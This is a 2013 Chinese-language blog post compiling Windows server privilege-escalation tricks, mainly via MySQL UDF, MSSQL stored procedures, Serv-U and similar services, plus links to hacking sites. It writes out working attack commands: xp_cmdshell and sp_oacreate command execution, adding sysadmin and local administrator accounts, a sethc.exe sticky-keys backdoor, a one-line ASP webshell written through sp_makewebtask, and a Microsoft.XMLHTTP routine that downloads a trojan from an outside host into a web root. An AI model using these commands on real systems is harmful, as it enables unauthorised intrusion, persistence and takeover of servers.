风言枫语  

牛逼版本

http://blog.csdn.net/eldn__/article/details/8452242

常见版本

http://www.jb51.net/hack/21297.html

http://hi.baidu.com/happy8d/item/6839edc2ba343953ac00efcc

http://www.webshell.cc/tag/tiquan

http://sec.chinabyte.com/486/11584486.shtml



数据库提权

数据库的提权多用于windows主机,通常windows主机数据库运行在root权限,linux则不然。

MySQL

mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。但是对于UDF的具体限制,MYSQL的各个版本各有不同。 

所以在导出UDF提权之前 ,先确定一下MYSQL的版本是有必要的。

 

Pre MySQL 4.1

在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。

 

 

After MySQL 4.1

在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,这样就防止了通过MYSQL非法调用系统的DLL.

 

After MYSQL 5.0

在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者\,简单的理解就是不能是绝对路径。所以我们将DLL释放到system32目录,来跳过这个限制..或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。后来发现原来只要把dll放到PATH这个环境变量所表示的任何一个目录下面,效果跟放到system32目录下面一样。

MYSQL 5.1

再说MYSQL5.1,这里有个问题相信大家会经常遇到的。创建函数时所用的DLL只能放在mysql的plugin目录里面。而且这个plugin目录默认是不存在的。可能就是为了防止通过into dumpfile将DLL来写到这个文件夹。MYSQL是无法创建目录的, 如果into dumpfile的目标目录不存在是会报错的。编写UDF需要实现MySQL特定的接口函数。

UDF手册

http://dev.mysql.com/doc/refman/5.1/de/udf-calling.html

MSSQL

 
MSSQL有很强大的功能存储过程,可以干很多坏事。
参阅
因为这个MSSQL默认是在系统权限下运行的,所以会有很高的权限。
但是有些情况,会使用低权限的用户运行,扩展过程的DLL,或者一些EXE,被做了权限处理。
Mssql执行文件一般没有回显,可以重定向到一个文本文件。

判断权限

and 1=(select IS_SRVROLEMEMBER('sysadmin')) 
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))
and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限
and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限

开启与关闭

2000的话可以使用dropextentedpooc来删除过程,不过2008和2005已经不能够使用了
exec   master..sp_dropextendedproc   xp_cmdshell 
恢复存储过程
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
dll与存储过程的关系
 'xp_cmdshell'         'xplog70.dll' 
 'xp_dirtree'          'xpstar.dll' 
 'xp_enumgroups'       'xplog70.dll' 
 'xp_fixeddrives'      'xpstar.dll' 
 'xp_loginconfig'      'xplog70.dll' 
 'xp_regaddmultistring'  'xpstar.dll' 
 'xp_regdeletekey'     'xpstar.dll' 
 'xp_regdeletevalue'   'xpstar.dll' 
 'xp_regread'          'xpstar.dll' 
 'xp_regremovemultistring'  'xpstar.dll' 
 'xp_regwrite'         'xpstar.dll' 
 'xp_enumerrorlogs'    'xpstar.dll' 
 'xp_getfiledetails'   'xpstar.dll' 
 'xp_regenumvalues'    'xpstar.dll'

在2000以上版本开启关闭的话可以这样
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1;
GO
-- To update the currently configured value for advanced options.
RECONFIGURE;
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 0;
GO
-- To update the currently configured value for this feature.
RECONFIGURE;
GO


XP_前缀存储过程

这个可以最简单的用来执行命令,用之前可以先看一下这个存储过程是否存在。
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'  

XP_CMDSHELL

执行的话也比较简单,这个需要master数据库的db_onwer权限
exec master..xp_cmdshell "whoami"


XP_DIRTREE

这个函数有三个参数,查询目录(可省略),递归深度  ,是否显示文件。
利用方法一般是,新建一个表然后把结果写入到其中,在结果集中搜索也可以得到网站根目录,不过较麻烦

 

exec master.dbo.xp_dirtree 'c:',1,1

 


XP_REGREAD

就是简单的读注册表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'


XP_REGWRITE

就是简单的写注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE''SOFTWARE\Microsoft\Jet\4.0\Engines''SandBoxMode''REG_DWORD'1   

XP_SERVICECONTROL

开启关闭某个服务
exec master..xp_servicecontrol 'stop' ,'schedule'   
exec master..xp_servicecontrol 'start','schedule'

SP_前缀存储过程

sp_addlogin

exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin

sp_oacreate 

wscript.shell
执行命令
use master 
declare @o int 
exec sp_oacreate 'wscript.shell',@o out 
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'
scripting.filesystemobject
scripting.filesystemobject
对文件操作
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out 
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Shell.Application
执行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c sc start TermService
Microsoft.XMLHTTP

可以实现从网上下载文件

 

DECLARE @B varbinary(8000),@hr int,@http INT,@down INT 
EXEC sp_oacreate [Microsoft.XMLHTTP],@http output  
EXEC @hr = sp_oamethod @http,[Open],null,[GET],[http://www.test.com/muma.txt],0 
EXEC @hr = sp_oamethod @http,[Send],null 
EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output 
EXEC @hr=sp_oacreate [ADODB.Stream],@down output 
EXEC @hr=sp_OASetProperty @down,[Type],1 EXEC @hr=sp_OASetProperty @down,[mode],3 
EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B 
EXEC @hr=sp_oamethod @down,[SaveToFile],null,[e:\www_iis\muma.asp],1

 

sp_add_job

use msdb 
exec sp_delete_job null,'x' 
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "whoami > c:/q.txt"' 
exec sp_add_jobserver null,'x',@@servername 
exec sp_start_job 'x';


sp_webmaketest

这个可以简单的写文件

 

exec sp_makewebtask 'd:\www\xxx\xxx.asp',' select ''<%execute(request("cn"))%>'' '


 

ACCESS沙盒模式执行命令

首先修改注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
之后就可以执行命令了
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")')
这里执行命令用的数据库是系统两个自带数据库,通常存放在
C:\WINDOWS\system32\ias\dnary.mdb
C:\WINDOWS\system32\ias\ias.mdb
如果数据库不存在的话,可以上传一个,或者使用这样的语句创建一个
declare @hr int;
declare @object int;
declare @property int
exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT
exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml'
之后执行命令的话,这样执行即可
select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=SysSetup.xml’,’select shell("whoami")’) 



ORCALE

Orcale这个数据库还是很不常见的,但是这个数据有个牛逼特性,能执行java,但是懒得看了,这几篇文章讲得不错。

ServU


因为其用户信息保存在ServUDaemon.ini中,密码使用md5加密,如果serv-u在高权限下,就带来了提权的可能。
也有一些信息在ServUAdmin.exe中。
默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P
通常的网马内置的servU提权都是利用了这个内置的管理员来执行命令。
不过这都是一些低版本的特性,现在11.2基本已经无法利用了

如果能连接到ftp服务的话,可以尝试使用quote site exe 执行命令,这个需要%home%目录下的执行权限,默认是关闭的
ftp> quote site exec net.exe user
550 /net.exe: Permission denied.
打开之后如果出现
ftp> quote site exec net.exe user
550 /net.exe: No such file.
把目录改变一下即可
ftp> cd windows/system32
250 Directory changed to /WINDOWS/system32
ftp> quote site exec net.exe user
200 EXEC command successful (TID=42).





有意思的端口转发
http://www.spiger.cn/article/206.html

百度百科
http://baike.baidu.com/view/1233621.htm

Serv-u quote site exec
http://www.hackbase.com/tech/2011-08-26/65140.html

pcanywhere提权

这个提权和serv-u类似,覆盖保存密码的文件
http://chaizp.diandian.com/post/2011-01-29/4262542


G6FTP 服务器提权

依旧是读取密码文件
http://www.myhack58.com/Article/html/3/8/2010/28548.htm

HASH破解提权

大概就是,破解SAM的hash值。

CAIN 嗅探



VNC密码破解提权(从注册表中读取VNC密码)



替换服务提权(最古老的提权方法)

替换自启动的程序,需要修改权限和服务器重启
http://www.myhack58.com/Soft/html/13/26/2007/2007031310009.htm


MYSQL root密码提权(最新、最有效的提权方法)

写入启动项一个VBS
http://wenku.baidu.com/view/f1928f03eff9aef8941e06af.html

Tomcat环境提权(利用JSP以系统权限运行)

多是利用Tamcat后台提权
http://h.evil.blog.163.com/blog/static/99793504201231021424130/
http://www.hackerfans.com/hacker-skills/tomcat-hacking.html


FlashFXP替换文件提权(利用社会工程学)


修改asp.dll的运行权限提权

这个不是太懂,大概是修改dll的运行权限~
http://blog.csdn.net/clofty/article/details/5948755

利用radmin提权

这也是一款远控,密码保存在注册表中。
http://blog.sina.com.cn/s/blog_5efeeff10100l92f.html
http://www.myhack58.com/Soft/html/13/25/2007/2007082211234.htm
http://hi.baidu.com/cangbai8/item/e00685c2dab6eb2847d5c0f6


端口映射


NC反弹链接




溢出提权

比较全的方法
http://www.365sec.net/post-129.html
防范措施
http://server.zdnet.com.cn/server/2007/1026/580517.shtml

 

posted on 2013-09-27 19:11  风言枫语  阅读(292)  评论(0编辑  收藏  举报